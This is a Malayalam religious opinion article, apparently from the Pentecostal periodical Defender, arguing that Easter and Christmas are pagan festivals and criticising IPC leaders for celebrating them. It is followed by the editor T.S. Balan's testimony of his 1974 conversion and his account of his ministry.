Two Babylons എന്നൊരു ഇംഗ്ലീഷ് പുസ്തകമുണ്ട്. ഡിഫെൻഡർ ഓഫീസിൽ നിന്നു വിതരണം ചെയ്യുന്ന ലൈബ്രറി സി.ഡികളിൽ ഈ പുസ്തകവുമുണ്ട്. ഈ പുസ്തകത്തിന്റെ ഒരു തർജ്ജമയാണ് കെ.ഇ.ഏബ്രഹാം എഴുതിയ മഹതിയാം ബാബിലോൺ എന്നു പറയാം. ക്രിസ്തുമസ്സ്, ഈസ്റ്റർ തുടങ്ങിയവ ജാതീയാചാരങ്ങളാണെന്നു മലയാളികളെ പഠിപ്പിച്ചത് മഹതിയാം ബാബിലോൺ ആണെന്നത് ഒരു വസ്തുതയാണ്. അനേകരെ വെളിച്ചത്തിലേക്കു നയിക്കാൻ ഈ പുസ്തകം സഹായകമായി എന്നതും സത്യമാണ്. ക്രൈസ്തവ സഭകളിൽ കടന്നുകൂടിയിട്ടുള്ള ജാതീയാചാരങ്ങളേപ്പറ്റി ഈ പുസ്തകത്തിലുള്ളതിലധികമൊന്നും പറയേണ്ടതില്ല. എങ്കിലും മഹതിയാം ബാബിലോണിലെ വാദമുഖങ്ങൾ പഴഞ്ചനാണെന്നും അവയൊന്നും ഇക്കാലത്തു സ്വീകാര്യമല്ലെന്നും വാദിക്കുന്ന പെന്തക്കോസ്തുകാർ രംഗത്തു വന്നിരിക്കുന്നതുകൊണ്ട് ചില കാര്യങ്ങൾ പറയാതെവയ്യ.

ഈസ്റ്റർ എന്ന വാക്ക് എങ്ങനെയുണ്ടായി? അതിനുള്ള ഉത്തരം കാതലിക് എൻസൈക്ലോപീഡിയയിലുണ്ട്. അത് ഇപ്രകാരമാണ്: The English term, according to the Ven. Bede (De temporum ratione, I, v), relates to Estre, a Teutonic goddess of the rising light of day and spring, which deity, however, is otherwise unknown, even in the Edda (Simrock, Mythol., 362); Anglo-Saxon, eâster, eâstron; Old High German, ôstra, ôstrara, ôstrarûn; German, Ostern. April was called easter-monadh. The plural eâstron is used, because the feast lasts seven days.

കർത്താവായ യേശുക്രിസ്തുവുമായി ഈസ്റ്റർ എന്ന വാക്കിന് എന്തെങ്കിലും ബന്ധമുള്ളതായി ഇവിടെ പറയുന്നതേയില്ല. ഈസ്റ്ററിന് കർത്താവുമായല്ല പാഗൺ മതവുമായാണു ബന്ധം. പാഗൺ മതത്തിലെ ദേവന്റെ ഉയിർപ്പുമായി ബന്ധപ്പെട്ട് ആഘോഷിക്കപ്പെട്ടിരുന്ന ഉത്സവം




മരുപ്പച്ചയുടെ മാർച്ച് 20 ലക്കത്തിൽ കണ്ട ഈസ്റ്റർ ആശംസ

ക്രൈസ്തവവത്ക്കരിക്കുകയാണു ചെയ്തത്. ഈസ്റ്റർ ആഘോഷിക്കുന്നവർ സത്യത്തിൽ അന്യദൈവാരാധനയാണു നടത്തുന്നത്.

ലോകമെമ്പാടുമുള്ള മതങ്ങളിൽ മരിച്ചുയിർത്ത ഒരു ദൈവത്തേക്കുറിച്ചു പരാമർശമുണ്ട്. ഉദാഹരണത്തിന്, ഈജിപ്തിലെ ഒസ്സീറീസ് മരിക്കയും ഉയിർക്കയും ചെയ്തതായി കഥയുണ്ട്. ഒസ്സീറിസ്സിന്റെ ഭാര്യയായ ഐസിസ്സാണ് ഒസ്സീറിസ്സിന്റെ ഉയിർപ്പിനു കാരണമായത്.



ഒസ്സീറീസ്

പാലസ്തീനിലും ചുറ്റുപാടുമുള്ള പ്രദേശങ്ങളിലും പ്രചാരത്തിലുണ്ടായിരുന്ന ബാൽ ദേവനും മരിച്ച് ഉയിർത്ത ദേവൻ തന്നെ. ലോകമെമ്പാടുമുള്ള പ്രാചീന മതങ്ങളിലെല്ലാം ഈ വിധത്തിലുള്ള ദൈവങ്ങളെ കണ്ടെത്താൻ കഴിയും. നിമ്രോദിന്റെ വകഭേദങ്ങളാണ് ഈ ദൈവങ്ങളെന്നു മഹതിയാം ബാബിലോണിൽ കാര്യകാരണ സഹിതം വിശദീകരിച്ചിട്ടുമുണ്ട്. ഈ സിദ്ധാന്തം തെറ്റാണെന്നു തെളിയിക്കാൻ ആർക്കും കഴിഞ്ഞിട്ടുമില്ല.

ദേവന്റെ ഉയിർപ്പിനു കാരണക്കാരിയായി ദേവന്റെ ഭാര്യയെ എല്ലാ ഐതിഹ്യങ്ങളിലും അവതരിപ്പിക്കുന്നുണ്ട്. ഒസ്സീറിസിന്റെ ഉയിർപ്പിന് ഐസിസ്സാണു കാരണക്കാരി. സേത്ത് ഒസ്സീറീസിനെ കൊന്നെന്നും അവന്റെ ശരീരം പല കഷണങ്ങളാക്കി ലോകമെമ്പാടും വിതറിയെന്നുമാണ് ഐതിഹ്യം. ഐസിസ് കരഞ്ഞുകൊണ്ടു നടന്ന് ഈ ശരീരഭാഗങ്ങൾ കണ്ടുപിടിച്ചു കൂട്ടി യോജിപ്പിച്ചാണ് ഒസ്സീറിസ്സിനെ ഉയിർപ്പിച്ചത്. ഈ ഉയിർപ്പ് ആഘോഷിക്കുന്ന പെരുന്നാളും ഉണ്ടായിരുന്നു. ഐസിസ്സിന് ഓരോ ദേശത്തും വ്യത്യസ്ത പേരുകളിലാണ് അറിയപ്പെട്ടിരുന്നത്. അശ്ശേര, ഇഷ്ടാർ, രതി, സെമീറാമീസ് തുടങ്ങിയ പേരുകളിലെല്ലാം അറിയപ്പെടുന്നത് ഐസിസ് തന്നെ.

ഇഷ്ടാർ ദേവി തന്റെ ഭർത്താവായ തമ്മൂസിന്റെ ആത്മാവിനെ പാതാളത്തിൽ നിന്നു രക്ഷിച്ചു കൊണ്ടുവന്നതായി കഥയുണ്ട്. പാതാളത്തിലെത്തിയ ഇഷ്ടാർ ദ്വാരപാലകനോട് ഗേറ്റ് തുറക്കാൻ കല്പിച്ചു. അതേപ്പറ്റി ഒരു കവിതയുണ്ട്:

If thou ompenest not the gate to let me enter,
I will break the door, I will wrench the lock,
I will smash the door-posts, I will force the doors.
I will bring up the dead to eat the living.
And the dead will outnumber the living.

പാതാളത്തിലായിരിക്കുന്ന സമയത്ത് ഇഷ്ടാർ വളരെയധികം കഷ്ടതകൾ സഹിച്ചെന്നാണു കഥ. അതുകൊണ്ടാണ് ഈ ഉത്സവത്തിന് ഇഷ്ടാറിന്റെ പേരുതന്നെ നൽകിയിരിക്കുന്നത്.

ഇഷ്ടാർ ദേവിയെ ലൈംഗികതയുടേയും മാതൃത്വത്തിന്റേയും പ്രതീകമായാണു കണക്കാക്കുന്നത്. തമ്മൂസിനെ രക്ഷിക്കാൻ ഇഷ്ടാർ പാതാളത്തിൽ പോയ സമയത്ത് ഭൂമിയിൽ ലൈംഗികവികാരം എന്നൊന്നില്ലാതായി എന്നാണ് ഐതിഹ്യം. നല്ല വിളവു ലഭിക്കാനും സന്താനസൗഭാഗ്യമുണ്ടാകാനും മറ്റും പാലസ്റ്റീൻ നാട്ടിലെ ജനങ്ങൾ അശ്ശേരയെ പൂജിച്ചത് ഈ കാരണത്താലത്രേ. ഗ്രീക്കുകാരുടെ അഫ്രോഡൈറ്റും ഇഷ്ടാർ ദേവി തന്നെ. ഇന്ത്യയിലെ കാമദേവനും രതിയും തമ്മൂസും ഇഷ്ടാറുമാണെന്നു കരുതാൻ ന്യായമുണ്ട്.

ഈ പറഞ്ഞ കാര്യങ്ങളിൽ ഭൂരിപക്ഷവും പെന്തക്കോസ്തുകാർക്ക് അറിവുള്ളതാണ്. അതുകൊണ്ടാണ് കഴിഞ്ഞ കാലങ്ങളിൽ പെന്തക്കോസ്തുകാർ ക്രിസ്തുമസ്സും ഈസ്റ്ററും മറ്റും ആഘോഷിക്കാതിരുന്നത്. പക്ഷേ

ബാൽ ദേവൻ





ഇതാണ് ഇഷ്ടാർ

കാലക്രമത്തിൽ എല്ലാം മാറിമറിഞ്ഞു. പുതിയ തലമുറ ഈ സത്യങ്ങളൊന്നും അറിയുന്നില്ല. അറിവുള്ളവർ അവർക്കു പറഞ്ഞുകൊടുക്കുന്നുമില്ല. അതുകൊണ്ട് അവർ ജാതീയ ഉത്സവങ്ങൾ ഘോഷിക്കുന്ന നിലയിലെത്തി.




ക്രിസ്തുമസ്സും ഈസ്റ്ററും മറ്റും ജാതീയദേവൻമാരുടെ ഉത്സവങ്ങളാണെന്ന വസ്തുത മഹതിയാം ബാബിലോൺ എന്ന ഗ്രന്ഥത്തിലൂടെ മലയാളികളെ പഠിപ്പിച്ചത് പാസ്റ്റർ കെ.ഇ.ഏബ്രഹാമാണ്. ഉപദേശപരമായ വിഷയങ്ങളിൽ അദ്ദേഹം കടുംപിടുത്തക്കാരനായിരുന്നു. അതുകൊണ്ട് അദ്ദേഹം പ്രസിഡന്റായിരുന്ന കാലത്ത് ഐ.പി.സി അന്യദൈവങ്ങളോട് അകലം സൂക്ഷിച്ചിരുന്നു. പക്ഷേ ഇപ്പോൾ അതല്ല സ്ഥിതി. പെന്തക്കോസ്ത് ഉപദേശത്തിനു പുല്ലിന്റെ വില പോലും കല്പിക്കാത്ത കെ.സി.ജോൺ പ്രസിഡന്റും പെന്തക്കോസ്ത് ഉപദേശം എന്തെന്നുപോലും അറിഞ്ഞുകൂടാത്ത വൽസൻ ഏബ്രഹാം സെക്രട്ടറിയുമായിരിക്കുന്ന ഐ.പി.സി ഏത് അന്യദൈവത്തേയും സ്വീകരിക്കുന്ന നിലയിലെത്തി. സംശയമുള്ളവർ വൽസന്റെ www.indiago.org എന്ന വെബ്സൈറ്റിൽ Christmas Gifts for India എന്ന ലിങ്ക് നോക്കുക. ക്രിസ്തുമസ്സ് ജാതീയദേവന്റെ ജൻമദിനമാണെന്നു പഠിപ്പിച്ച വല്ല്യപ്പച്ചന്റെ കൊച്ചുമോൻ ഇപ്പോൾ ഇന്ത്യയ്ക്കായി ക്രിസ്തുമസ്സ് സമ്മാനം ചോദിക്കുന്നു. ഐ.പി.സിയുടെ പ്രസിഡന്റിന്റെ ചാനലിൽ ക്രിസ്തുമസ്സ് പ്രോഗ്രാം പൊടിപൊടിച്ചു. പട്ടത്വ സഭകളിലെ വിശ്വാസികൾ കരോൾ ഗീതങ്ങളാലപിച്ചു. കൊല്ലുന്ന രാജാവിനു തിന്നുന്ന മന്ത്രി എന്നു പറഞ്ഞതുപോലെ പ്രസിഡന്റിനു യോജിച്ച സെക്രട്ടറി! ഈ നിലക്കു വിലയിരുത്തുമ്പോൾ സ്റ്റേറ്റ് കൗൺസിലിലെ ഒരു അംഗം മാത്രമായ അച്ചൻകുഞ്ഞ് വായനക്കാർക്ക് ഈസ്റ്റർ ആശംസ നേർന്നത് അത്ര ഗൗരവമുള്ള വിഷയമല്ല.

പെന്തക്കോസ്തിന്റെ അധ:പതനം ഇവിടംകൊണ്ടു നിൽക്കുമെന്നു കരുതാനാവില്ല. പവ്വർ വിഷനിൽ ഇപ്പോൾത്തന്നെ വിഗ്രഹാരാധന സംപ്രേക്ഷണം ചെയ്യുന്നുണ്ട്. അൾത്താരയുടേയും വിഗ്രഹങ്ങളുടേയും മുൻപിൽ നിന്നു പ്രർത്ഥിക്കുന്ന രംഗങ്ങൾ സ്ഥിരമായി കാണാം. പ്രാർത്ഥിക്കുന്നതിനിടയിൽ ഒരു വിഗ്രഹത്തിൽ നിന്ന് ഒരു ശക്തി പുറപ്പെടുന്നതും പ്രാർത്ഥിച്ചുകൊണ്ടു നിന്ന പെൺകുട്ടിയുടെ ശരീരത്തിൽ പ്രവേശിക്കുന്നതും വരെ കാണാനിടയായി. ഇനി മറിയത്തോടും പുണ്യാളൻമാരോടുമുള്ള പ്രാർത്ഥന ഉൾപ്പെടെയുള്ള രംഗങ്ങളും സംപ്രേക്ഷണം ചെയ്യും. പ്രസിഡന്റിന് ഇങ്ങനെയൊക്കെ ആകാമെങ്കിൽ സാധാരണക്കാരായ വിശ്വാസികൾക്ക് ഇതിൽ കൂടുതലുമാകാം. ആസന്ന ഭാവിയിൽ പെന്തക്കോസ്ത് സഭകളിൽ ക്രിസ്തുമസ്സും ഈസ്റ്ററും ഔദ്യോഗികമായിത്തന്നെ ആഘോഷിക്കും.

# പാളയത്തിനു പുറത്തേക്ക്

ഡിഫെൻഡറിനു നാലു പേജുകൾ കൂടി കൂട്ടിയതിൽ സന്തോഷം അറിയിച്ചുകൊണ്ടി നിരവധി കത്തുകളും ഈമെയിലുകളും ഫോൺ വിളികളും എത്തുകയുണ്ടായി. ദൈവവചന പഠനത്തിനു കൂടുതൽ സ്ഥലം നീക്കി വയ്ക്കുന്നതിൽ ഏവരും സന്തോഷം അറിയിച്ചു. വിമർശനം കൂടി ഒഴിവാക്കിയിരുന്നെങ്കിൽ ഏറെ നന്നായിരുന്നു എന്നു ചിലരൊക്കെ അഭിപ്രായപ്പെട്ടു. നല്ല ഉദ്ദേശ്യത്തോടെയാണ് അവർ ഈ നിർദ്ദേശം മുന്നോട്ടു വച്ചതെന്നറിയാം. എങ്കിലും വിമർശനം പൂർണ്ണമായി ഒഴിവാക്കാനാവില്ല എന്നു പറയേണ്ടി വന്നതിൽ ദു:ഖമുണ്ട്. സത്യസുവിശേഷം ഘോഷിക്കുന്നവർക്കു വിമർശനം ഒഴിവാക്കാനാവില്ല എന്നതുതന്നെ കാരണം. സംശയമുള്ളവർ കർത്താവും ശിഷ്യൻമാരും എന്താണു ചെയ്തതെന്നു വായിക്കുക.

സകലവിധ കപടഭക്തിക്കാരേയും വ്യാജൻമാരേയും കർത്താവായ യേശുക്രിസ്തു നിശിതമായി വിമർശിച്ചു. ''പിശാചിന്റെ മകനേ'' എന്നാണു പൗലോസ് ഒരു വ്യാജനെ വിളിച്ചത്. ലേഖനങ്ങൾ പരിശോധിച്ചാലും ഇതൊക്കെത്തന്നെയാണു കാണുന്നത്. ഡിഫെൻഡറിൽ കാണുന്നതിലും നിശിതമായ വാക്കുകളും ഭാഷയുമാണ് കർത്താവും ശിഷ്യന്മാരും ഉപയോഗിച്ചത്. അതു കൊണ്ട് ഡിഫെൻഡറിനു വിമർശനം ഒഴിവാക്കാനാവില്ല. ഭാഷ മയപ്പെടുത്താനും പറ്റില്ല.

റ്റി.എസ്.ബാലൻ ഇതൊന്നും ചെയ്യാതെ ദൈവവചനം പ്രസംഗിക്കുന്നതിൽ ശ്രദ്ധ കേന്ദ്രീകരിച്ചിരുന്നെങ്കിൽ ലോകം അറിയുന്ന പ്രസംഗകനാകുമായിരുന്നു എന്നു പലരും പറയാറുണ്ട്. ദൈവ വചനം പഠിപ്പിക്കാനുള്ള കഴിവു ദൈവം എനിക്കു തന്നിട്ടുണ്ടെന്നതു ശരിയാണ്. ഞാൻ പുറത്തിറക്കിയിട്ടുള്ള പ്രസംഗ സി.ഡികൾ വിറ്റുപോകുന്നതും ഈ കാരണത്താലത്രേ. പ്രസംഗത്തിൽ ശ്രദ്ധ കേന്ദ്രീകരിച്ചിരുന്നെങ്കിൽ എനിക്ക് ഇതിനോടകം കോടീശ്വരനാകാൻ കഴിയുമായിരുന്നു. പക്ഷേ അങ്ങനെ ചെയ്തിരുന്നെങ്കിൽ ഞാൻ സ്വർഗ്ഗീയ ദർശനത്തിന് അനുസരണക്കേടു കാണിക്കുന്നവനാകുമായിരുന്നു. വിശദീകരിക്കാം.

യോഹന്നാൻ സ്നാപകൻ പുരോഹിതന്റെ മകനായിരുന്നു. അതുകൊണ്ടു പുരോഹിതനാകാൻ ബുദ്ധിമുട്ടും ഉണ്ടാകുമായിരുന്നില്ല. ഒരുപക്ഷേ മഹാപുരോഹികൻ തന്നെ ആകാനും കഴിയുമായിരുന്നു. പക്ഷേ ഇതെല്ലാം ഉപേക്ഷിച്ചാണ് മരുഭൂമിയിൽ പ്രസംഗിക്കാനെത്തിയത്. യോഹന്നാന്റെ ശുശ്രൂഷയേപ്പറ്റി യോഹന്നാന്റെ ജനനത്തിന് ഏഴു നൂറ്റാണ്ടു മുൻപുതന്നെ യെശയ്യാവു പ്രവചിച്ചിരുന്നു. ദൈവാലയത്തിൽ ധൂപക്കുറ്റിയുമായി നിൽക്കുന്ന യോഹന്നാനെയല്ല മരുഭൂമിയിൽ വിളിച്ചു പറയുന്നവന്റെ വാക്കായാണ് യെശയ്യാവു യോഹന്നാനെ കണ്ടത്. ദൈവാലയത്തിലെ ശുശ്രൂഷ മോശമാണെന്ന് ഈ പറഞ്ഞതിന് അർത്ഥമില്ല. കാരണം, ദൈവാലയത്തിലെ ശുശ്രൂഷ ദൈവികം തന്നെ ആയിരുന്നു. ആ ശുശ്രൂഷ ചെയ്യുന്നതു പാപമല്ല. പക്ഷേ ദൈവം യോഹന്നാനെ വിളിച്ചത് ആ ശുശ്രൂഷ ചെയ്യാനായിരുന്നില്ല എന്നു മാത്രം. നല്ല ഭക്ഷണം കഴിച്ച്, നല്ല വസ്ത്രവും ധരിച്ച്, യഹോവെയ്ക്കു വിശുദ്ധം എന്ന പട്ടവുമായി നിൽക്കേണ്ട യോഹന്നാൻ രോമവസ്ത്രവും ധരിച്ച് അരയിൽ തോൽവാറും കെട്ടി മരുഭൂമിയിൽ നിൽക്കുകയാണ്. ഭക്ഷണം വെട്ടുക്കിളിയും കാട്ടുതേനും. പുരോഹിതനാകേണ്ടവന്റെ അധ:പതനം എന്നു മിക്കവരും പറഞ്ഞേക്കാം. പക്ഷേ ഇതാണു യോഹന്നാന്റെ നിയോഗം. മറ്റൊന്നു ചെയ്യാൻ യോഹന്നാനു പറ്റില്ല.

ഏറെക്കാലമൊന്നും ഇങ്ങനെ മുൻപോട്ടു പോകാൻ യോഹന്നാനു കഴിഞ്ഞില്ല. ആറു മാസത്തോളം മാത്രമേ യോഹന്നാനു പ്രവർത്തിക്കാൻ പറ്റിയുള്ളൂ. അതിനുള്ളിൽ ആ ധീരൻ ജയിലിലായി. ദുർന്നടപ്പിനെതിരെ ശബ്ദിച്ചതാണു കാരണം. അന്നും ഇന്നും ഇതുതന്നെ സ്ഥിതി. ദുർന്നടപ്പിനെതിരെ ശബ്ദിച്ചാൽ ജയിൽ ഉറപ്പ്. റ്റി.എസ്.ബാലൻ എന്ന ഈയുള്ളവൻ അത് അനുഭവിച്ചറിഞ്ഞതാണ്. ഞാൻ ആറു ദിവസം ജയിലിൽ കിടക്കേണ്ടതായി വന്നു. എന്റെ മകൻ പതിനൊന്നു ദിവസം ജയിലിൽ കിടന്നു. ഒന്നാംതരം ഒരു കേസ്സും ഞങ്ങളുടെ തലയിൽ വെച്ചുകെട്ടി. ദുർന്നടപ്പുകാർക്കെതിരെ ശബ്ദിച്ചതുമാത്രമായിരുന്നു യഥാർത്ഥ കാരണം. അതിനു ശേഷവും പലതരം കള്ളക്കേസ്സുകളുണ്ടായി. എല്ലാം ദുർന്നടപ്പുകാർ കൊടുത്ത കേസ്സുകൾ. ഒരു ദൈവദാസനും നാളിതുവരെ ഞങ്ങൾക്കെതിരെ കേസ്സ് കൊടുത്തിട്ടില്ല.

എങ്ങനെ ഞാൻ ഇത്തരമൊരു ശുശ്രൂഷ അല്ലെങ്കിൽ ജോലി തിരഞ്ഞെടുക്കാൻ ഇടയായി എന്നു പലരും എന്നോടു ചോദിച്ചിട്ടുണ്ട്. എന്തോ അബദ്ധം പറ്റി ഈ സ്ഥിതിയിൽ ഞാൻ എത്തിയതാണെന്നത്രേ പലരും കരുതുന്നത്. എന്നാൽ അതല്ല വസ്തുത. പാളയത്തിനു പുറത്തുപോയി കഷ്ടം സഹിക്കുന്നതിനായി ഞാൻ സ്വയം തീരുമാനിച്ചതാണ്. ഈ തീരുമാനം ഞാൻ രക്ഷിക്കപ്പെട്ട ദിവസം തന്നെ എടുത്തതാണ്.

മൂന്നര പതിറ്റാണ്ടു മുൻപ്, കൃത്യമായി പറഞ്ഞാൽ 1974ൽ നടന്ന സംഭവമാണു പറയാൻ പോകുന്നത്. അന്ന് എനിക്കു 17 വയസ്സ് മാത്രമേ ആയിട്ടുള്ളൂ. ദൈവമുണ്ടോ എന്നു കണ്ടെത്താനായി ഞാൻ നടത്തിയ അന്വേഷണം എന്നെ ക്രിസ്തുവിലെത്തിച്ചു. സത്യന്വേഷികൾക്കു ക്രിസ്തുവിനെ കാണാതിരിക്കാൻ പറ്റില്ലല്ലോ. വിശദമായ പഠനങ്ങൾക്കുശേഷം ഞാൻ സത്യം മനസ്സിലാക്കി. ദൈവമുണ്ട്. അതു ബൈബിളിലെ ത്രിയേക ദൈവമാണ്. യേശുവിലൂടെ മാത്രമേ എനിക്കു രക്ഷ പ്രാപിക്കാൻ കഴിയൂ. യേശുക്രിസ്തുവിനെ രക്ഷിതാവും കർത്താവുമായി അംഗീകരിക്കുന്നവരെല്ലാം തികച്ചും സൗജന്യമായി നിത്യജീവൻ പ്രാപിക്കും. ഈ സത്യങ്ങളൊക്കെ ഞാൻ മനസ്സിലാക്കി. എങ്കിലും യേശുവിനെ രക്ഷിതാവായി സ്വീകരിച്ചിരുന്നില്ല. അങ്ങനെയിരിക്കെ ഒരു ദിവസം വൈകിട്ട് ഒരു പ്രാർത്ഥനായോഗത്തിൽ വച്ചു ദൈവത്തിന്റെ ആത്മാവ് ഒരു പ്രവാചകനിലൂടെ എന്നോടു സംസാരിച്ചു. ദൈവാത്മാവു പറഞ്ഞതിന്റെ ചുരുക്കം ഇതാണ്: ദൈവവചനത്തിനുവേണ്ടി മരണ പര്യന്തം പോരാടാൻ ഞാൻ എന്നെത്തന്നെ സമർപ്പിക്കുമെങ്കിൽ ദൈവം എന്നെ ഒരു ശുശ്രൂഷ ഏല്പിക്കും. പ്രാർത്ഥന കഴിഞ്ഞ് ഞാൻ വീട്ടിലേക്കു മടങ്ങി. എന്റെ കുടുംബാംഗങ്ങളെല്ലാം അവിടെയുള്ള ഒരു പള്ളിയിലെ പെരുന്നാളിനോടനുബന്ധിച്ചുള്ള കഥാപ്രസംഗം കേൾക്കാൻ പോയിരിക്കയാണ്. ഭക്ഷണം കഴിച്ചശേഷം ഞാൻ ഉറങ്ങാൻ കിടന്നു. കട്ടിലിൽ കിടന്നുകൊണ്ട് ഞാൻ അന്നത്തെ സംഭവങ്ങൾ ഒന്നൊന്നായി ഓർത്തു. അങ്ങനെ ദൈവാത്മാവു തന്ന വാഗ്ദത്തവും ഓർത്തു. എന്തു ചെയ്യണം? ഞാൻ വളരെ സമയം ആലോചിച്ചശേഷം ഒരു തീരുമാനമെടുത്തു. കട്ടിലിൽ കിടന്നുകൊണ്ട് ഞാൻ ആ തീരുമാനം ദൈവത്തോടു പറഞ്ഞു: ''ദൈവമേ, ഇതാ ഞാൻ എന്നെത്തന്നെ നിനക്കായി സമർപ്പിക്കുന്നു. കർത്താവായ യേശുക്രിസ്തുവിനെ എന്റെ രക്ഷിതാവും കർത്താവുമായി സ്വീകരിക്കുന്നു. എന്തെല്ലാം പ്രതികൂലമുണ്ടായാലും ഞാൻ ദൈവവചനത്തിൽ ഉറച്ചു നിൽക്കുമെന്ന് ഇതാ തീരുമാനിക്കുന്നു.'' ഇത്രയും പറഞ്ഞു കഴിഞ്ഞ ഉടൻ അത്യധികമായ ഒരു ശക്തി എന്റെ ശരീരത്തിലേക്ക് ഒഴുകിയെത്തി. എനിക്ക് എന്റെ ശരീരത്തെ നിയന്ത്രിക്കാൻ കഴിഞ്ഞില്ല. വാക്കുകളാൽ വർണ്ണിക്കാനാവാത്ത ഒരനുഭവമായിരുന്നു അത്. എന്റെ സമർപ്പണം ദൈവം മുദ്രവച്ചു. ആ തീരുമാനത്തിൽ ഞാൻ ഇപ്പോഴും ഉറച്ചു നിൽക്കുന്നു. എന്തെല്ലാം പ്രതികൂലമുണ്ടായാലും ഞാൻ ദൈവവചനത്തിൽ ഉറച്ചു നിൽക്കും. അബദ്ധം പറ്റി ഈ പാതയിലെത്തിയതല്ല, ഇതു ഞാൻ സ്വയം തിരഞ്ഞെടുത്തതാണ്. സത്യം മറച്ചു വച്ചുകൊണ്ടു കിട്ടുന്ന പണവും പ്രതാപവും മാന്യതയും സ്വീകരണവും എനിക്കുവേണ്ട.

ദൈവവചനമായ ബൈബിളാണ് എന്റെ ആധാരം. ബൈബിളിൽ അടിസ്ഥാനമില്ലാത്ത വിശ്വാസാചാരങ്ങൾ സ്വീകരിക്കാൻ ഞാൻ തയ്യാറല്ല. അതുകൊണ്ടാണ് ഐ.പി.സി, ശാരോൻ, എ.ജി തുടങ്ങിയ പെന്തക്കോസ്ത് സംഘടനകളെ ഞാൻ ദൈവികമായി അംഗീകരിക്കാത്തത്. എന്റെ വിശ്വാസപ്രമാണം എന്താണെന്ന് രണ്ടു ലക്കം മുൻപു ചുരുക്കി പറഞ്ഞിരുന്നു. ഇപ്പോൾ അവ ഒന്നൊന്നായി എടുത്തു വിശദീകരിക്കുകയാണ്. ഭാവിയിൽ ഇത് ഒരു പുസ്തകമാക്കുന്നതാണ്.

എന്റെ വിശ്വാസപ്രമാണം എന്താണെന്നു മാത്രമല്ല എന്തല്ലെന്നും തുറന്നു പറയാനുള്ള ധൈര്യം എനിക്കുണ്ട്. ആരുടേയും പ്രീതിക്കായി ഞാൻ ചക്കരവാക്കു പറയാറില്ല. ചെറുപ്പം മുതൽ അധ്വാനിച്ചു ജീവിക്കുന്നവനാണു ഞാൻ. ഏഴു വർഷം സഭാശുശ്രൂഷകനായിരുന്നു. അപ്പോഴും സഭയിൽ നിന്നുള്ള വരുമാനം കൊണ്ടല്ല ജീവിച്ചത്. സഭയിൽ നിന്നുള്ള വരുമാനം സഭാഫണ്ടിൽ നിക്ഷേപിക്കുകയും മറ്റുള്ളവരെ സഹായിക്കാനായി അത് ഉപയോഗിക്കുകയുമാണു ചെയ്തുവന്നത്. വയറ്റിൽപിഴപ്പിനുവേണ്ടി ഉപദേശിപ്പണിക്കിറങ്ങിയവനല്ല ഞാൻ എന്നു ചുരുക്കം.

ശാരീരികമായി അങ്ങേയറ്റം അവശനിലയിലാണു ഞാൻ. പക്ഷേ കമ്പ്യൂട്ടറിന്റെ മുൻപിൽ പോയി ഇരിക്കാനുള്ള ആരോഗ്യമുണ്ട്. അതുകൊണ്ട് പ്രസംഗം റിക്കാഡ് ചെയ്തും വെബ്സൈറ്റ് ഡിസൈൻ ചെയ്തും ലഭിക്കുന്ന പണം കൊണ്ടാണ് ഇപ്പോഴും ഞാൻ ജീവിക്കുന്നത്. എഴുതാൻ വേണ്ടിയോ എഴുതാതിരിക്കാൻ വേണ്ടിയോ ഞാൻ ആരോടും പണം വാങ്ങിയിട്ടില്ല, വാങ്ങുകയുമില്ല. പണം വാങ്ങി സപ്ലിമെന്റോ പരസ്യമോ പോലും ഇപ്പോൾ ഡിഫെൻഡറിൽ പ്രസിദ്ധീകരിക്കുന്നുമില്ല. ഞാൻ ഈ പറയുന്നതൊക്കെ കള്ളമാണെന്നു പറയുന്നവരുണ്ടാകാം. അവരെ വിശ്വസിപ്പിച്ചിട്ട് എനിക്ക് ഒന്നും നേടാനില്ല. അവന്റെയൊന്നും ഔദാര്യത്തിലല്ല ഞാൻ ജീവിക്കുന്നത്. പോടാ ഗ്രാസേ എന്നാണ് ഇത്തരക്കാരോടു ഞാൻ പറയുന്നത്.

എന്റെ നിലപാടുകൾക്കു പൂർണ്ണ പിൻതുണ നൽകിക്കൊണ്ട് എന്റെ കുടുംബം എന്നോടൊപ്പമുണ്ട് എന്നതാണ് ഏറ്റവും സന്തോഷകരമായ കാര്യം. എന്റെ മകനാണ് ഡിഫെൻഡറിന്റെ ഉടമസ്ഥൻ. കള്ളക്കേസ്സിൽ പെട്ട് ജയിലിലാകുന്നതുവരെ അവൻ ഡിഫെൻഡറിന്റെ പ്രവർത്തനങ്ങളിൽ ഏറെയൊന്നും ശ്രദ്ധിച്ചിരുന്നില്ല. പക്ഷേ 2002ൽ അവൻ ഇന്റർനെറ്റ് കേസ്സിൽ കുടുങ്ങി 11 ദിവസം ജയിലിൽ കിടന്നു. അങ്ങനെയാണ് ഡിഫെൻഡറിന്റെ പ്രാധാന്യം അവൻ തിരിച്ചറിഞ്ഞത്. 2003 ഡിസംബർ 30ന് അവൻ ഡിഫെൻഡറിന്റെ ഉടമസ്ഥാവകാശം ഉൾപ്പെടെ എല്ലാം എന്നിൽ നിന്ന് ഔദ്യോഗികമായിത്തന്നെ ഏറ്റെടുത്തു. എറണാകുളം കളക്ട്രേറ്റിൽ വച്ച് ഞാൻ ഡിഫെൻഡർ അവന് എഴുതിക്കൊടുത്തു. മാത്രമല്ല, ഡിഫെൻഡർ 2004 മുതൽ ദ്വൈവാരികയായി ഇറക്കാനുള്ള അനുവാദവും എ.ഡി.എമ്മിൽ നിന്ന് അവൻ എഴുതി വാങ്ങി. അങ്ങനെയാണ് അനീഷ് ഡിഫെൻഡറിന്റെ ഉടമസ്ഥനായതും ഡിഫെൻഡർ ദ്വൈവാരികയായതും. ഇതൊന്നും അറിയാതെയാണ് ചിലർ ഡിഫെൻഡർ പൂട്ടിക്കാനായി ഒപ്പുശേഖരണവുമായി നടക്കുന്നത്.

